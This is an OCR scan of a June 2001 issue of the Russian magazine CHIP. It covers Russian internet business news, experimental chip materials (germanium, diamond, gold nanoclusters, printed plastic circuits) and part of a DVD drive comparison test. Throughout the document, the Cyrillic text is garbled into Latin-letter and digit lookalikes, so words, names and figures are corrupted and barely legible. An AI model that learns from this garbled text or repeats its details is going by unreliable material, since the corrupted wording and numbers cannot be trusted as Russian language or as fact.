y>Ke n/iaHMpyeT cpoKM BbixoAa Ha TOHKy npM6bi/ib- 
hoctm, MHorMe MHTepHeT- KOMnaHMM Bee eiAe MiAyT 
cbok) 6M3Hec-MOAeub. B3UTb tot >Ke SpyLOG — npe- 
KpacHbiM cepBMc, ho 6ecnuaTHbiM. A 6ecnuaTHoe 
xopoiuo A-fi^ noub30BaTeueM m mnbKO 3a peAKMM 
MCKuioneHMeM — p,nn npoM3BOAMTe/ieM. 

Bot m SpyLOG oG^ubmu o CBoePi nporpaMMe 
nocTeneHHoro coKpaiAeHMu cnMCKa 6ecnuaTHbix 
ycuyr. FIommmo 3aK/i iohchmu coruaiueHMu c npo- 
BaMAepoM «fleMOC-l/lHTepHeT», KOTopbiM 6yAeT 
npeA/iaraTb cbomm K/iMeHTaM ycuyry BHeiuHero 
aHauM3a Log-c|DaMuoB Ha OCHOBe SpyLOG AnaLizer, 
6yAeT nocTeneHHO yMeHbiuaTbcu koumhcctbo ao- 


CTynHOM CT3 TMCTM km Rnn o6uaAaTeuePi 6ecnuaT- 
Hbix SpyLOG-cneTHMKOB. 

Bo3mo>kho, 3to k uyHiueMy. llpoBaMAepbi, a ne- 
peroBopbi BeAyTeu co mhotmmm m3 hmx, CMoryT no 
AOCTynHbiM AeHaM npeAOCTaB/iuTb cbomm KUMeHTaM 
B03MO>KHOCTM K3HeCTBeH HOTO aHa/lM3a CT3TMCTMKM 
noceiAeHMM, a SpyLOG CMO>KeT noATUHyTb KanecTBO 
o 6 cuy>KMBaHMu ao npMeMueMoro ypoBHu. BeAb He 
ceKpeT, hto b noc/ieAHee BpeMu CTaTMCTMKa chmt3- 
eTcu He tohho m c 6 o/ibLUMMM nepepbiBaMM. HeKOTO- 
pbie Aawe 3anoA03pMUM KOMnaHMio b rpu3Hbix Me- 
TOAax no 6 y>KAeHMu noub30BaTeueM k nepexoAy Ha 
nuaTHyio BepcMio SpyLOG Basic, ho npeACTaBMTe/iM 
KOMnaHMM 3TO OTpMLjaiOT. 

I/I Bce-TaKM cpeAHecTaTMCTMHecKMM noub30Ba- 
Te/ib xoamt b 1/lHTepHeT npe>KAe Bcero 3a MHcfiopMa- 
AMeM m maBHbie ero noMOiAHMKM — sto noMCKOBbie 
MaiuMHbi. MHoroKpaTHbiPi uaypeaT I/I HTe/i I/I HTepHeT 
llpeMMM 5lHAeKC AOKa3au Ha Aeue, hto noMCK b CeTM 
— 3 to MCKyccTBO, KOTopoMy HaAO yHMTbcu. 1/lHane k 
neMy TorAa npoBOAMTb OTKpbiTbm Ky6oK Poccmm no 
noMCKy b MHTepHeTe (MHMAMaTMBa, KOTopyio TaK>Ke 
noAAep>Kau PaM6uep)? 

B paMKax Ka>KAoro Typa ynacTHMKM ao/dkhn 
6 bi/iM copeBHOBaTbcu b noMCKe b CeTM otbctob Ha 
3 aAaHHbie Bonpocbi. JlyniuMM o 6 pa 3 eu TaKoro bo- 
npoca — «KorAa npa 3 AHyeTCu AeHb He 3 aBMCMMO- 
ctm 3 MM 6 a 6 Be?» 

3ac|3MKCMpOBaTb POCT MHTepeca POCCMUH K Mh- 
TepHeTy peiuMucu m bmahum rocyAapcTBeH h bi m Aeu- 

Teub — MMHMCTp CBU3M M M HCj30pMaTM3aAM M PO Jle- 
ohm a PeMMaH. Oh coo 6 iamu, hto c 1999 roAa obteM 
pbiHKa I/I HTepHeT b Poccmm yABOMucu m aoctmt npM- 
MepHO $300 M/iH. TaK>Ke PeMMaH otmctmu pocT 3/ie- 
KTpOHHOM KOMMepAMM M yBe/lMHeHMe KO/lMHeCTBa 
3/ieKTpOHHblX Mara3MHOB. 

Ho BceMy 3TOMy 6uarouenMio c BBeAeHMeM b 
Poccmm npaKTMKM noBpeMeHHOM onuaTbi TeuecfiOH- 
HblX pa3rOBOpOB MO>KeT npMMTM KOHeA, no KpaM- 
HeM Mepe sto npeACKa3biBaiOT MHorMe 3KcnepTbi. 
no-ApyroMy CHMTaeT PeMMaH — npMHMH p,nn 6ec- 
noKOMCTBa oh He bmamt. B KanecTBe MuuiocTpauMM 
k CBoeMy onTMMM3My oh npMBe/i onbiT Tex CTpaH, 
rAe cyiAecTByeT Bbi6op Me>KAy a6oHeHTCKOM n/ia- 
tom m «noBpeMeHKOM»: MHorMe jiioah b Tex cuyna- 
ux, KorAa pacneTbi c onepaTopoM TpaAMUMOHHOM 
cbu3m 6pau Ha ce6u MHTepHeT-npoBaMAep, Bbi6pa- 
UM MMeHHO nOMMHyTHblM BapMaHT. 

I/I Hanoc/ieAOK y Hac ecTb xopoiuMM noBOA 
«BcnoMHMTb, KaK Bee Han m Ha/iocb»: 17 anpeuu b 
MocKBe cocTOuuacb npecc-KOHcjDepeHAMu, nocBu- 
lAeHHau 20-ueTMio C03AaHMu nepBoro nepcoHaub- 
Horo KOMnbiOTepa. C AOK/iaAOM BbiCTynnu MapK 
BpeMUM, A^peKTop AenapTaMeHTa HacTOUbHbix cm- 
CTeM A-nfl noTpe 6 MTeubCKoro pbiHKa, KOTopbiM 
paccKa3au 06 ocHOBHbix 3Tanax b mctopmm pa3- 
bmtmu nepcoHauoK. KcTaTM, nepBbiM IBM PC c 
ABeTHbiM A^cnueeM ctom/i $6000, pa 6 oTau Ha na- 
CTOTe 4,77 MTa M MMe /1 BHyTpM 29 TbICUH TpaH3MC- 
TOpOB. 

■ ■ ■ AjieKcevi IlbuiaeB 


CHIP 


M K) H b 


2 0 0 1 


28 


REVIEW HOBbie TexHO/iorMM 


A^nbTepHaTMBHbie Maiepna/ibi rj] ft npon 3 BOACTBa h n n o b 

KpeMHMPi yxo/jm 

Ha neHCMio 

B COOTBeTCTBMM C 33 KOHOM Mypa, npOM 3 BOflMTe/lbHOCTb KpeMHMeBbix HMnOB YABaMBaeTCJl KaJKflbie 
1,5-2 rofla. C 3 aMeHOM KpeMHMfl Ha a/iMa 3 bi, 30 /ioto m crex/io mjim Ao 6 aB/ieHMeM k HeMy repMaHMB 
npOM 3 BOAHTe/lbHOCTb HMflOB BbipaCTeT MHOfOKpaTHO. 


H Mnbi Ha KpeMHMeBOM ocHOBe y>Ke npaKTMHecKM Mcnepna/iM bo3mo>khoctm 
yBe/iMHeHMfl nacTOTbi — mx TexHO/iorMHecKMM npefle/i, 10 \Tu,, 6yflei flo- 
CTMrHyT y>Ke b 2005 rofly. fla/ibHeMwee yMeHbweHMe TO/iiAMHbi KpeMHMeBOM 
nofl^o>KKM HeB03M0>KH0, nosTOMy 6yflyiMee b stom o6/iacTM 3a repMaHMeM, a 
T3K>Ke 30J10T0M, CTeK/lOM M a/iMa3aMM. 

TepMaHHM Ha KpeMHMeBOM nsiacmHe — TOHbme h ObiCTpee 

flo cmx nop HMnbi coctoajim npeMMyiAecTBeHHO M3 hmctoto KpeMHMfl, ho ceroAHfl 
eMy COCTaB/lfleT KOHKypeHLJMIO repMaHMM. flaBHO M3BeCTHO, HTO 3TOT 3/ieMeHT 
npMHafl^e>KMT k no/iynpoBOAHMKaM m ero B036yflMM0CTb b flBa-TpM pa3a Bbiwe, 
neM y KpeMHM^. OflHaKO jiMWb b stom rofly flBa npocfieccopa c|dm3mkm m 3 TaHHO- 
Bepa Haw/iM cnoco6 scjDcjDeKTMBHoro npoM3BOflCTBa HMnoB M3 repMaHMM. 

ripo6/ieMa cocron/ia b tom, hto flo HeflaBHero BpeMeHM He yMe/iM coeflMH^Tb 
KpeMHMM m repMaHMM Me>Kfly co6om TaK, HTo6bi noTOK 3/ieKTpoHOB Ha rpaHMue 
flByx MaiepMa/iOB He npepbiBa/icn. ripoM3BOflCTBO no/iHocrbio repMaHMeBbix 
n/iacTMH He MMeeT CMbic/ia: oh ropa3flo flopo>Ke KpeMHMM m k TOMy we He nofl- 
XOflMTflnn npOM3BOflCTBa 6o/lbLUMX n/iacTMH. 

KpeMHMeBO-repMaHMeBbm HMn mo>kho Mcno/ib30BaTb b cocraBe y>Ke cy- 
iMecTByioiMMx ycTpoPicTB, TaKMx KaK nepeHOCHbie nepcoHa/ibHbie KOMnbioie- 
pw. no c/iOBaM npeflCTaBMTe^n IBM KpMdoc|Da c|doh TaMMa (Christoph von 
Gamm), TaKOM HMn pa6oiaei Ha 50% 6bicipee m Ha 30% 3KOHOMMHHee b 
CM bicne noipe6/ieHMfl nMTaH Mil, neM ero aHa/ior M3 hmctoto KpeMHMM. Run 
nepeHOCHbix ycipoMCTB sto oco6eHHO BbiroflHo: ohm CTaHyT KOMnaKTHee m 
cfiyHKUMOHajibHee. 



YcTpoMCTBO pa3MepoM c MaccMBHbie HapyHHbie nacbi c 6pac/ieTOM 6yflei ocHa- 
LAeHO npMeMHMKOM GPS (cMdeMa mo6a/ibHoro no3MAMOHMpoBaHMfl), pa6oiaib c 
MHTepHeT-npM/10>KeHMi1MM M MMeTb CMCTeMy paCn03HaBaHMil TO/lOCOBblX KOMaHA- 


Cmm 6H03 CTeK/ia H KpeMHMfl AJlfl 6blCTpblX 
KOMMyHHKaUMOHHblX CeT©M 

1/lHTepeceH BapMaHT o6"beAMHeHMfl KpeMHMeBbix no/iynpoBOAHMKOBbix n/iacTMH co 
creK/iOM. TaKMe CTeK/io-KpeMHMeBbie HMnbi HeHaMHoro Aopo>Ke o6biHHbix, MoryT 
Mcno^b30BaTbcn KaK CBeTOBOAbi b cemx nepeAaHM AaHHbix m no cpaBHeHMio c 
o6biHHbiMM CBeTOBOAaMM noiepn AaHHbix npM mx Mcno/ib30BaHMM He3HaHMTe/ibHa. 

ripo3paHHan n/iacTMHa M3 creK/ia m KpeMHMM y/iynmaeT pa6oiy KOMMyHMKa- 
AMOHHbix ceieM, b pa6oie KOTopbix Mcno/ib3yeTCfl WDM-TexHO/iorMfl (Wavelength 
Division Multiplexing, onTMHecKoe My/ibTMn/ieKCMpoBaHMe c pa3Ae/ieHMeM no 


▼ HaHeceHMe noKpbiTMH M3 MCKyccTBeHHbix a/iMa30B: Kaiviepa H3 
BbICOKOKaHeCTBeHHOM CTa/lM COflepJKHT MeTaH II BOAOPOA- K 
CMecM noAaeTcq aHeprim, Mo/iexy/ibi svieTana pasSneaioTcsi. 
noA HHTeHCMBHbiM ro/iy6biM CBeTOM B03HMKaeT HMCTbiM yme- 
poft. Oh oca>KAaeTCB Ha >Ke/iTOM mpmamobom ocHOBanmt BHH3y 
— Tan BQ3HMKaeT c/i oh KpncTa/i/ioB a/iMa3a 
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< Oa3a 2. C B03pacTatomeH to/hamhom 
c/iob (ao 10 hm) pacxyr HeopnemnpoBaH- 
Hbie KpncTa/i/ibi mot aim a. ctbikh rpaHeti ko- 
Topbix nperiRTCTByioT npoTeKaHHio 3/ieKTpn- 
necKoro TOKa 




◄ Oa3a 3. HaHMHan c TO/imMHbi cjioh b 
34 hm MCHe3aiOT rpaHHUbi 3epHa Mera/i/ia. 
Bo3HHKaeT MOHOKpMCTa/i/iMHecKasi n/ieHKa, 
M 3/lGKTpilHGCKMM TOK fipOXOAHT 


A/iMHe BO/iHbi). WDM no3B0^5ieT ynaKOBaib HecKO/ib- 
ko KaHa/iOB nepeflaHM flaHHbix no OflHOMy creK/iOBO- 
/lOKHy. Hunbi ncno/ib3yiOTCfl KaK c|DM/ibTpbi OTAe/ib- 
Hbix CBeTOBbix bo/ih b KanecTBe My/lbTMn/ieKCOpOB 
Bbi6opKM (Add/Drop). Ohm 3aMeHaiOT floporMe kom- 
n/ieKTyioiAMe M3Ae/iMA, KOTopbie co6MpaiOTai M3 
/imh 3, npM3M m onTMHecKMx peweTOK. 

CieK/io-KpeMHMeBbie HMnbi MeHbiue no cbomm 
pa3MepaM m 6o/iee n/iocKMe b OT/iMHMe ot 3/ieKTpM- 
necKMx npefliuecTBeHHMKOB. Ohm cnoco6cTByiOT to- 
My, HTo6bi b BbicoKOCKopocTHbix ceTax onTMHecKMe 
MMny/ibCbi BbuecHM/iM 6o/iee Mefl^eHHbie 3/ieKTpM- 
necKMe cMrHa/i bi. 

Anivsaabi — mapocTOMKan h Aoporan 
a/ibTepHaTMea 

A/iMa3bi onpaBflbiBaiOT /no6bie M3flep>KKM npM npoM3- 
BOflCTBe TpeXC/lOMHOrO nOKpblTMfl HMnOB. I/Icc^eflo- 
B3HMfl nOKa3blBaiOT, HTO TaKOM HMn Hafle>KH0 C|DyHK- 
UMOHMpyeT npM TeMnepaiype 700° C KaK no/iynpo- 
boahmk m Bbiflep>KMBaeT 6o^ee BbicoKoe Hanpawe- 
HMe. Bc^efldBMe 3Toro oh pa6oiaei 6bicipee m on- 
paBflbiBaei 6o/iee BbicoKMe 3aipaTbi. «Pa3yMeeTCfl, 
a/iMa3bi HMKorfla He 3aMeHAT no/iHocrbio KpeMHMe- 


Bbie KpMCTa/i/ibi», — roBopMT MaTMac LUpeK 
(Matthias Schreck), H/ieH Ayrc6yprcKOM rpynnbi c|dm- 
3mkob nofl pyKOBOACTBOM npocjDeccopa BpeHAa 
LUipMAKepa (Bernd Stritzker), 33HMMaiOLAeMCfl pa3- 
pa6oTKOM a/iMa3Hbix HMnoB. rio/iynpoBOAHMKM Ha 
KpeMHMeBOM OCHOBe nOKa AeMCTBMTe/lbHO MMeiOT He- 
KOTopbie npeMMyiAecTBa nepeA KpeMHMeBO-a/iMa3- 
HblMM. 

flo CMX nop npOM3BOAM/lMCb TO/lbKO TOHKMe 
n/ieHKM M3 MCKyccTBeHHbix a/iMa30B, He noAxoA^iAMe 
A/lfl 3/ieKTpOHMKM, KOTOpbie npMMeHfl/lMCb /lMLLIb B Ka- 
necTBe 3aiAMTHoro c/ioa Ha TaKMx MHcrpyMeHTax, KaK 
CBep/ia m/im CKa/ibne/iM. Hio6bi npMAaTb a/iMa3y 
CBOMCTBa no/iynpoBOAHMKa, HaAO o6oraTMTb hmcthm 
ymepoA aTOMaMM 6opa (TorAa noflB/iaiOTCfl cbo6oa- 
Hbie 3/ieKTpoHbi). Ayrc6yprcKOM rpynne yAa/iocb no- 
KpbiTb no/iynpoBOAHMKOByto n/iacTMHy o6orameHHbi- 
mm a/iM33HbiMM n/ieHK3MM. OcHOBHafl npo6/ieMa 3a- 
K/llOHa/iaCb B TOM, HT06bl OpMeHTMpOBaTb POCT KpMC- 
Ta/UIOB a^Ma3a C OCHOBaHMfl, Ha KOTOpOM OHM paCTyT, 
o6ecneHMB 6ecnpen^TCTBeHHoe npoieKaHMe TOKa. 
06biHHO 3 tm KpMda/uibi pacTyT Heynop^AoneHHO, co- 
3AaBaa no/iMKpMCTa/uiMHecKyK) crpyKTypy. TaK npo- 
AO/i>KaeTC^ ao Tex nop, noxa ohm He cpacraiOTCfl rpa- 


hamm Apyr c ApyroM noA pa3/iMHHbiMM ymaMM m Ha 
3 tmx CTbiKax 6/iOKMpyeTCfl npoxo>KAeHMe TOKa. 

OnTMMa^nbHbiM MaTepMa/iOM noA/io>KKM OKa3a/iCfl 
mpmamm, Ha kotopom KpMCTa/uibi o6pa3ytOT maAKyio 
MOHOKpMCTa/uiMHecKyio n/ieHKy. HaHMHaa ctojilam- 
Hbi c/iofl 34 hm pewaeTCfl npo6/ieMa rpaHMA 3epeH 
MeTa/i/ia, TaK KaK no cbomm CBOMCTBaM n/ieHKa HaHM- 
HaeT AeMCTBOBaTb KaK MOHOKpMCTa/1/1. Ha KpeMHMe- 
BOM noA/io>KKe KpMCTa/i/ibi crpyKTypMpyiOTCfl xao- 
TMHHO, OAHaKO OpMeHTMpOB3H HO, M HeT Heo6xOAM- 
MOCTM B C03A3HMM MAea/lbHO maAKOM nOBepXHOCTM. 

«ripoMAGT eiAe HecKO/ibKO ^eT, npe>KAe neM stm 
HM nbi HaHHyT MCn0^b30BaTb B npOMblUJ^eHHOCTM», 

— roBopMT MaTMac LUpeK no noBOAy 6yAyiAero a^- 
Ma3Hbix HMnoB. rioAO>KAeM 3aBepmeHM5i Mcc/ieAOBa- 
hmm c|dm3mkob M3 Ayc6ypra, KOTopbie coBepiueHCT- 
ByiOT MpMAMeBbie noA/io>KKM m pa6oTaiOT HaA 
yMeHbiueHMeM pa3Mepa 3epHa b hmx. ripeMMyiAecT- 
BO T3KMX HMnOB COCTOMT M B TOM, HTO OHM MOryT 
6blTb CMTHa/lbHblMM yCTpOMCTB3MM B arpeCCMBHbIX 
cpeAax: HaHMHa^ c 200° C KpeMHMM pa6oTaeT He- 
CTa6M^bHo, a a^Ma3Hbie HMnbi BbiAep>KMBaiOT TeMne- 
paTypy Typ6MHbi peaKTMBHoro caMO^eTa m^m 3bto- 
Mo6M^bHoro ABMraTe^^. TaK>Ke a^Ma3Hbie HMnbi 
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REVIEW HOBbie TexHO/iornn 



a rtiOKMe n^acTMKOBbie HMnbi Ha MOHOKpMCTa/i/ie: MHTerpa/ibHbie 
cxeMbi Ha MOHOKpncTa/uie n/iacnviaccbi Philips CKopo MoryT 6 biTb 
noMeiueHbi bo Bcex ueHHMKax h 06 /ierHHTb ynet b Kaccax 


Mor/iM 6bi Mcno/ib30BaTbCfl b KOCMOce, nocKO/ibKy ohm Ma/io noflBep>KeHbi AePi- 
CTBMK) pe/IMKTOBOrO paAM0M3/iyneH Mfl M yCTOMHMBO pa60TaiOT B yaiOBMflX pe3- 
Koro nepenaAa TeMnepaiyp. 


uecc. OAHoro MM/uiMrpaMMa 30/i0Ta Bno/iHe AOcraTOHHO pj\n HMna n/iomaAbio 
0K0/10 40 CM 2 . 

Hepe3 HecKO/ibKO /ieT LUmmat xoTe/i 6bi cipoMTb TpexMepHbie K/iacrepbi M3 
30/iOTa. BcceHCKMM yneHbiM 06-bflCHfleT ue/ib Mcc/ieAOBaHMM Tax: «TaKOM HMn 
Mor 6bi ciaTb KOMnoHeHTOM HeMpoceTM m pa3pa6aibiBaTb co6cTBeHHyio pa3BM- 
Tyio ziorMKy, oh cmokct caM ce6a peMOHTMpoBaib m coBepiueHCTBOBaTb». 

flemeebie n/iacTMaccoBbie HMnbi 

fleiueBOM a/ibiepHaTMBOM KpeMHMio BbicrynaiOT opraHMHecKMe n/iacmaccbi — 
ohm npoBOAflTTOK m MoryT coxpaHATb AaHHbie. CrpyMHbiM npMHTep oco6om pa3- 
hobmahoctm AO/i>KeH pacnenaTbiBaTb stot n/iacTMKOBbiM HMn b o6biHHbix yc/io- 
bmax, p,nn mx npoM3BOACTBa He Hy>KHbi crepM/ibHbie noMemeHMA. HMnbi 6yAyT 
pacnenaTbiBaTbca cneAMa/ibHoPi >kmakom n/iacmaccoM Ha He6o/ibiijyio n/iacr- 
MaccoByfo KapTOHKy. 

EiAe b cepeAMHe 1998 roAa Philips npeACTaBM/i OTnenaTaHHyio cxeMy, koto- 
paa pa6oTa/ia Ha ckopoctm 30 6mt/c. Tenepb oh co6MpaeTCfl MHTerpMpoBaTb 
3TM 3/iaCTMHHbie M AeweBbie B npOM3BOACTBe HMnbi B ynaKOBKM M/1M AeHHMKM: 
ec/iM noxynaTe/ib ABMraeT Te/ie>KKy c noxymoMM b Kaccy, ohm perMdpMpyiOT 
AeHbi Bcex TOBapoB m nepeAaiOT AaHHbie 0 npoAa>Ke. Ho noxa sto Bcero jiMWb 
MeHTbi: HecMOTpa Ha Bee nonbiTKM, ao cmx nop hm OAHOMy npeAnpMATMio He 
yqa/iocb MHTerpMpoBaTb n/iacTMKOBbie HMnbi b cboio 6M3Hec-MOAe/ib. l"lpoM3BO- 
AMTe/ibHOCTb m CKopocTb — OKa3bi BaeTca, eiAe He apryMeHT. 


CaMbiM Ma/ieHbKMM nepetuiiOHaTanb — M3 30/iOTa 

Tpynna xmmmkob m 3 ScceHa noA pyKOBOACTBOM HoHTepa LUmma (Gunter Schmid) 
AO«a3a/ia, hto 30/ioto npM HaHOMeipMHecKMx pa3Mepax o6/iaAaeT CBOMCTBaMM 
no/iynpoBOAHMKa, pa6oiaioiAero npM KOMHaTHOM TeMnepaiype. Upv\ TaKMx pa3- 
Mepax Apyrne 6/iaropoAHbie MeTa/uibi Tpe6yiOT molahoto ox/ia>KAeHMfl, He6/iaro- 
poAHbie MeTa/i/ibi, HanpMMep >ne/ie30, OTpbiBaeTca ot KpeMHMA m TepaeT cbomct- 
Ba TpaH3MCTOpa M npOBOAMMOCTb. 

06biHHO 30 /ioto npoBOAMT 3/ieKTpMHecKMM tok OHeHb xopoiuo. Ho npM 
CBepxMa/iOM pa3Mepe 30/iOToro 3/ieMeHTa Meia/i/i npMo6peiaeT 3/ieKTpMnecKyio 
naM^Tb, 3axBaTbiBa5i OTAe/ibHbie 3/ieKTpoHbi, m npM noflB/ieHMM HanpflweHMfl Bbi- 
nycKaeT (BbiCBo6o>KAaeT) mx Hapy>Ky. I/I Aea/i bHbie TpaH3MCTopbi no/iynaiOTCfl M3 
komkob 30/iOTa, Ka>KAbiM M3 KOTopbix coctomt M3 55 aTOMOB. nepeK/noneHMA 
TaKOMy K/iacrepy AOdaTOHHO 3axBaTMTb 1 3/ieKTpoH. B KpeMHMeBOM KpMcra/i/ie 
AO/DKHbl 3aXBaTblBaTbC5l npMMepHO 100 TbICflH 3/ieKTpOHOB pea^M3aUMM jio- 
rMHecKoro nepeK/uoneHMA noA pa6oHMM Hanp/DKeHMeM. 

«3ojiotom nepeK/uonaTe/ib MMeeT pa3Mep noHTOBOM MapKM, — cpaBHMBaeT 
LUmmat, — TorAa Kax aHa/iorMHHbiM KpeMHMeBbm KpMCTa/ui ao/dkch 6biTb c cjayT- 
6o/ibHoe no/ie». TaKMe HMnbi MeHbwe, 6bicipee m TOHHee. CePinac yAaeTca pac- 
no/iaraTb 30/iOTbie nacTMAbi Ha HOCMTe/ie M3 MCKyccTBeHHoro BeiAecTBa Tax, hto 
3/ieMeHTbl MoryT B3aMMOAePlCTBOBaTb C 3/ieKTpOH3MM. Ec/IM MCn0/lb30BaTb 3TOT 
MeTOA b npoM3BOACTBe 6 /iokob naMATM, c/ieAyeT o>KMAaTb b mm/i/imoh pa3 6o/ib- 
ujyio n/iOTHOCTb 3anMCM npM MHoroKpaTHO MeHbiueM BpeMeHM nepeK/uoneHMA. 

Kax hm CTpaHHO, ocHOBHaa AO/ifl pacxoAOB b npoM3BOACTBe Taxoro HMna 
npMW/iacb He Ha MaTepna/i, a Ha TpyAOBbie 3aTpaTbi m npoM3BOACTBeHHbiPi npo- 



▲ OO'beAHHeHHan curia 3o;ioToro HMna: TpaHSMCTop saHHMaer rmo- 
LUtaAb TO/lbHO B 10 HM 2 HO^HblX K/iaCiepOB 30^0Ta (1,4 HM) 


Hnnw m KOMnbiOTepbi, 3arpy>KaeMbie M3 HHTepneTa 

fl>K03ecl3 Uko6coh (Joseph Jacobson), pyKOBOAMTe/ib Mcc/ieAOBaTe/ibCKOM rpyn- 
nbi Molecular Machines b MIT Media Lab b Boctohc, npeA/iaraeT coBepiueHHO 
HeBepoflTHoe: «K^MeHTbi 6yAyT caMM 3arpy>KaTb we/iaeMbm p,v\ 3 am HMnoB M3 
HHTepHeTa m nenaTaTb mx 3a BpeM^i, Heo6xoAMMoe p,nn pacnenaTKM caMTa». 

Ero onTMMM3M onpaBAaH TeM, hto «nenaTHa5i KpacKa» coctomt m 3 Toro >Ke Ma- 
TepMa^a, hto m o6biHHbie HMnbi: no/iynpoBOAHMKM KaK Si m^m Ga-As, pa3Mep mmk- 
poxpMCTa^^a KOTopbix cocTaB/meT oko^o 100 aTOMOB, b TaxoPi xpacxe He nocTpa- 
AaiOT. CTpyPiHbie npMHTepbi Hitachi MoryT nenaTaTb stot c^om KpacKM-no^ynpo- 
BOAHMKa M T3KMM o6pa30M npOM3BOAMTb CTpyKTypbl B 200 HaHOMeTpOB TO/llAMHOM. 

MAefl HMnoB b ueHHMKax, o KompoM 3a5iB^5ieT KopnopauMA Philips, CTa^na 
A/ia UKo6coHa mnbKO OTnpaBHbiM nyHKTOM npM co3A3hmm nenaTaeMbix HaHOHM- 
noB. Oh HaMepeBaeTC^i BHeApMTb b HMnbi pa3BMTyio ^orMKy c oneHb 6o^biuMMM 
B03MO>KHOCTiiMM. Ko/imh By/iTxayn (Colin Bulthaup), oamh m 3 ero CTyqeHTOB, 
npMBOAMT TaKOM npMMep: «Mbi xotmm ycTaHaB/iMBaTb AMcfipoByio KaMepy b KapTy 
HeKa. Bee CjDyHKUMM AO/DKHbl 6blTb MHTerpMpOBaHbl B 3T0M eAMHCTBeHHOM KapTe, 
KOTopyio Hy>KHO 6yAeT npoM3BOAMTb HeBepoaTHO tohko, AeiueBO m 6biCTpo». 

BncnepTbi, Kompbie 3aHMMaiOTC5i aHa/iorMHHbiMM Mcc/ieAOBaHM^MM, HanpM- 
Mep CMrypA BarHep (Sigurd Wagner) M3 llpMHCTOHCKoro yHMBepcMTeTa, HacTpo- 
eHbi CKenTMHecKM: «Hepea^bHO nenaTaTb HMn, noAo6Hbm npoueccopy Pentium. 
MaTepua^ B/i53eTC5i 3arpa3HeHHbiM m xpynKMM». TeM He MeHee Uko6coh ^cho 
bmamt cboio ue/ib m TBepAO HaMepeH k HePi ABMraTbc^i. C^miukom aammma 
MAea no^HOCTbio nenaTaTb KOMnbiOTep y ce6fl AOMa. 

TeHpvi IlIennapA 



< rienaTb OyAyiuero. Cnei 4 Ma/ibHbiMM no/iynpoBOAHMKOBbiMM nep- 
HM/iaMM Ha nepeo6opyAOBaHHOM npHHTepe Ha <|>o/ibre nenaTaioTCfi 
TpaH3HCT0pbl 


CHIP 


M K) H b 


2 0 0 1 





3ia crpamma yMbiuiJieHHO nyciaa 



TecT 14 DVD-npMBOAOB 
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Ted 14 D V D - n p i/i b o a o b 

klAeM 

Ha B3iieT 

DVD-npuBOflbi nocTeneHHO npno6peiaioT Bee 6o/ibwyio 
nony/iapHOCTb m cy/iflT Maccy yAOBO/ibCTBMfl ot npocMOTpa 
c|)M/ibMOB Ha n K. ripn Bbi6ope DVD ctomt o6paimb BHMMaHMe 
He TO/lbKO Ha CKOpOCTHbie XapaKTepHCTHKH, HO H Ha UjyM, 
npOM3BOflMMblM yCTpOMCTBOM, HT06bl npM npOCMOTpe B3M 
He npmu/iocb TepneTb cJjoh ot MexaHM3Ma npMBOAa, noAo6Hbm 
peBy Typ6MHbi. 


me rofl Ha3afl ueHbi Ha DVD-ROM 6bi/iM 3ao6- 
jiaHHbiMM. Tenepb jiMWb $40 OTAe/miOT npi/iBOfl 
DVD OTxopoiuero CD-npMBOfla — He c/imlukom mho- 
ro A-na AOMaiuHero DVD-kmho Ha l"l K. Ho Hacroflmee 
Hac/ia>KAeHMe npM npocMOTpe cjDM/ibMOB Bbi Mcnbua- 
eie, ec/iM no6oHHbm myM He BbiMfleT 3a Tepni/iMbie 
paMKM. riosTOMy Chip npoTecTMpoBa/i He mnbKO Ta- 
KMe o6biHHbie napaMeipbi, KaK, HanpMMep, CKopocTb 
nepeflaHM flaHHbix m KoppeKUMa owm6ok, ho m luy- 
MOBbie XapaKTepMCTMKM npMBOflOB. 

HeKOTopbie npwBOflbi 
HanoMiiHaiOT aeiiauMOHHbie ryp0MHbi 

Hac nopa3M/io, hto HeKOTopbie npoM3BOAMTe/iM ot- 
Ka3biBaiOTCfl ot npodoro cnoco6a CHMXteHMA iuy- 
Ma: p,nn BMAeo-DVD a6co/iiOTHO AOCTaTOHHO oaho- 


CKopocTHoro pe>KMMa. TeM He MeHee He Bee nmuyT 
mm K ponporpaMMHoe o6ecneneHMe (firmware) cbo- 

MX npMBOAOB TaK, HT 06 bl npM BOCnpOM3BeAeHMM 
BMAeo-DVD ohm aBTOMaTMHecKM nepeK/Hona/iMCb 
Ha nOHM>KeHHyK) CKOpOCTb. riOCKO^bKy 3Ta oco- 
6eHHOCTb OTcyTCTBOBa/ia, Mbi npM6er/iM Kyc/iyraM 
shareware-nporpaMMbi, 3aMeA/iflfoiAeM BpameHMe 
AMCKa. 3 tot MHdpyMeHT 3aMeA/i^eT CHMTbiBaHMe 
AaHHbix m, KaK c/ieACTBMe, yMeHbiuaeT myM ot Bpa- 
iAe hma. Ec/im c noMOLAbio stom y/iOBKM He yAaea- 
jiocb cnpaBMTbc^ c myMOM AaHHoro ycrpoMCTBa, 
CHMwa/iacb ero oueHKa no pe3y/ibTaTaM TecTa. 

Pioneer DVD-114. npeBocxoAHaa KoppeKUM* 
oqjm6ok m xopoiuMe pe3y/ibTaTbi bo Bcex ocra/ibHbix 
TecTax npMBe/iM Pioneer, npaBAa c He6o/ibWMM npe- 

CHIP MKDHb 2001 
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HARDWARE cpaBHme/ibHoe TecTHpoBaHMe 


MMyiMecTBOM, k no6efle. Bo Bpe3Ke «/lyHLunn npo- 
AyKT» Bbi y3Haeie 6o/ibiue o ero flOCTOMHCTBax. 

Samsung SD-612. B OTHomeHnn ycrpaHeHHfl wy- 
mob Samsung AB/meTCfl a6co/noTHbiM zinflepoM. KaK 
npn BOcnpoM3BefleHMn DVD, TaK n npn nepeflane 
flaHHbix TecmpyeMbiM o6pa3eu npon3Be/i Ha Hac 
6o/ibwoe BnenaT/ieHne: flencTBHTe/ibHO tmxo! Kpo- 
Me Toro, npn BOcnpon3BefleHnn DVD-c|DH/ibMOB oh 
aBTOMaTMHecKM nepeK/HonaeTca Ha nepByio cko- 
podb. CKopocTb nepeflann flaHHbix c DVD 
10 M6aMT/c, Audio-Grabbing Ha 7-8x m cpeflHflfl 
CKopocTb CHMTbiBaHMii CD-RW 2,6 M6aMT/c Bno/iHe 
flOdaTOHHbi pj\s\ flOMamHero no/ib30BaHMfl. Rnn 
KoppeKTHoro n 6e3ynpeHHoro cnnTbiBaHMfl flaHHbix 
c noflroTOB^eHHoro HaMn flecfieKTHoro CD flaHHOMy 
npMBOfly noTpe6oBa/iocb flBe c no/iOBMHon MMHyTbi. 
Koro 3 to He CMyiflaeT, tot no/iynnT noc/iywHyio m 
npe>Kfle Bcero Tnxyio «pa6onyio /iowaflKy». 

